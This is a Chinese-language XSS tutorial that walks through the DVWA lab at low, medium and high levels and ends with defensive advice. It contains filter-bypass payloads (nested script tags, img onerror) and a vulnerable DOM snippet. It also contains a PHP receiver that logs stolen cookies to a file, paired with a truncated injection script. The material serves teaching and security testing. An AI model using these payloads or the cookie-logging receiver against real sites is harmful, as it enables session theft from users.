XSS漏洞概述
XSS漏洞概述
跨站脚本(Cross Site Scripting)攻击,一直是非常热门的WEB漏洞,在OWASP的TOP10里面排前三
没有对web前端的输入边界进行严格的过滤是XSS漏洞形成的主要原因。
攻击着可以通过构造脚本语句使得输入的内容被当作HTML的一部分来执行,当用户访问到该页面
时,就会触发该恶意脚本,从而获取用户的敏感数据(比如cookie数据)。
XSS漏洞发生在web前端,主要对网站用户造成危害,并不会直接危害服务器后台数据。
XSS漏洞概述-XSS漏洞攻击流程
XSS漏洞概述
XSS漏洞概述-XSS类型
 反射型XSS(Reflected XSS)
通过XSS漏洞改造带有攻击脚本的URL,发送URL给目标,触发恶意脚本,一次性,所见即所得
一般出现在查询类页面等。

 存储型XSS (Stored XSS)
通过XSS漏洞将带恶意脚本注入到服务器后台(数据库或者文件中),访问到该页面触发恶意脚本,永久性
一般出现在留言板等。

 DOM型XSS (DOM-based XSS)
DOM(Document Objeet Model)—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)
的一种漏洞,它是通过修改页面的DOM节点而形成的。
Dom xss也是一种反射性。

反射型和存储型的区分是脚本是否保存在服务器上,而DOM-xss是通过修改页面的DOM节点来形成的XSS。

XSS漏洞-测试过程
① 在目标站点上找到输入点,比如查询接口,留言板等;
② 输入一个“唯一”字符,点击提交后,查看当前状态下的源码文件;
③ 通过搜索定位到唯一字符,结合唯一字符前后语法构造script,并合理的对HTML标签进行闭合;
④ 提交构造的script,看是否可以成功执行,如果成功执行则说明存在XSS漏洞;
TIPS:
1.一般查询接口容易出现反射型XSS,留言板容易出现存储型XSS;
2.由于后台可能存在过滤措施,构造的script可能会被过滤掉,而无法生效,或者环境限制了执行(浏览器);
3.通过变化不同的script,尝试绕过后台过滤机制;
4.最快的发现XSS漏洞的方法还是通过web漏洞扫描工具,如Nesuss, AWVS,Appscan等;
用dvwa作例子,先设置低级别测试反射性XSS

XSS漏洞概述

输入111返回结果
查看代码

XSS漏洞概述

在pre标签中

先用<script>alert("xss")</script> 测试
XSS漏洞概述
在低级别下测试成功,分析一下这个xss源代码
XSS漏洞概述
在这里是没有作任何过滤的。
接下来在中级别下进行测试,一样的输入<script>alert("xss")</script>
XSS漏洞概述

猜想这里可能存在过滤script的语句,那么构造一个 <scr<script>ipt>alert("xss222")</scr<script>ipt>
XSS漏洞概述
测试成功,接下来分析下代码
XSS漏洞概述
发现使用了一个php中的str_replace函数,对name传入的值进行<script>匹配然后替换成空格 也就是' ' 
接下来对高级别的进行测试
输入<scr<script>ipt>alert("xss222")</scr<script>ipt>测试
XSS漏洞概述
发现只剩下> 这里猜测可能跟script有关的内容全被过滤掉了
这个时候不能使用script,所以我们尝试闭合pre直接用img   <img src=111 onerror=alert("xss333")>
输入 11</pre><img src=111 onerror=alert("xss333")><pre>111 测试
XSS漏洞概述
测试成功,下面继续分析代码
XSS漏洞概述
这里发现执行了一个正则的搜搜,一旦匹配,则干掉。
接下来是dom型XSS
首先什么是DOM?
DOM是W3C的标准,可以把DOM认为是页面上数据和结构的一个树形表示:
XSS漏洞概述
通过 JavaScript,可以重构整个 HTML 文档。您可以添加、移除、改变或重排页面
上的项目。
要改变页面的某个东西,JavaScript 就需要获得对 HTML 文档中所有元素进行访问
的入口。这个入口,连同对 HTML 元素进行添加、移动、改变或移除的方法和属性,
都是通过文档对象模型来获得的(DOM)。
所以,你可以把DOM理解为一个一个访问HTML的标准编程接口。
Dom访问演示:使用getElementById来访问和修改html
<!DOCTYPE html>
<html>
<body>
<p id="intro">Hello World!</p>
<p>本例演示 <b>getElementById</b> 方法!</p>
<script>
x=document.getElementById("intro");
document.write("<p>来自 intro 段落的文本:" +
x.innerHTML + "</p>");
</script>
</body>
</html>
Hello World!
本例演示 getElementById 方法!
来自 intro 段落的文本:Hello World!
下面是演示代码
DOM XSS漏洞代码:
<html>
<body>
<script>
function xsstest(){
var str = document.getElementById("text").value;
document.getElementById("t").innerHTML = "<a href='+str+'>testlink</a>";
}
</script>
<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" value="write" onclick="xsstest()">
</body>
</html>
存储型XSS,现在用dvwa进行测试,先使用低级别
过滤方面来说其实跟反射性的差不多,只是这个存储型是长期存在的(不被管理员发现)
先上图
XSS漏洞概述
发现 name行限制输入10个字,message行不限制,猜想name行限制10个字符是通过前端
实现,那么这个时候直接打开查看元素功能修改限制实现绕过。
XSS漏洞概述
修改成1000,确保足够位置输入
在name行输入<script>alert('xss1')</script>测试 message任意输入
XSS漏洞概述
成功执行。这样代码保留在后代,如果用户访问到这里,或者用户点击这类链接,那么就中招了。
下面分析下代码
XSS漏洞概述
这里发现对message执行了一个stripslasnes函数,就是对 ‘/’进行清除,阻止恶意代码。
下面对中级别进行测试,一样的用刚刚代码试试
XSS漏洞概述
发现失败了, <script>可能被清楚了,接下要接着<scr<script>ipt>alert("xss3")</scr<script>ipt>测试
XSS漏洞概述
测试成功,分析下代码把。
XSS漏洞概述
对message 进行了严格过滤,输入进来的执行 strip_tags函数,意思把输入进来的html标签剥去
对输出的message执行htmlspecialchars函数,意思是把html函数当作字符串输出
所以这里不对message进行xss , name的话支队script标签进行一个替换,所以可以用来xss
下面对高级别进行测试
XSS漏洞概述
用刚刚的代码测试会发现全被过滤了,可能是跟script有关的代码全被过滤了,因为在div标签不用闭合
直接尝试<img src=111 onerror=alert("xss333")>
XSS漏洞概述
测试成功,下面分下下代码。

跟上面一样,只对script有关的进行过滤,所以还是可以进行xss。
通过XSS获取COOKIE-获取
接受端:
<?php
$cookie = $_GET['cookie']; //以GET方式获取cookie变量值
$time=date('Y-m-d g:i:s'); //以“年-月-日时:分:秒”的格式显示时间
$referer=getenv('HTTP_REFERER'); //获取referer
$cookietxt = fopen('cookie.txt', 'a'); //打开cookie.txt,若不存在则创建它
fwrite($cookietxt,"time:".$time." cookie:".$cookie." referer:".$referer); //写入文件
fclose($cookietxt); //关闭文件
?>
脚本端:
<script>document.write('<img
border=0 />');</script>

XSS防范措施
1.对前端输入做过滤和编码;
---比如之允许输入指定类型的字符,比如电话号格式,注册用户名限制等等,输入检查需要在服
务器端完成,在前端完成的限制是容易被绕过的;
---对特殊字符进行过滤和转义;
2.对输出做过滤和编码:在变量值输出到前端的HTML时进行编码或转义;
3. 给关键的cookie使用http-only;

   


相关文章: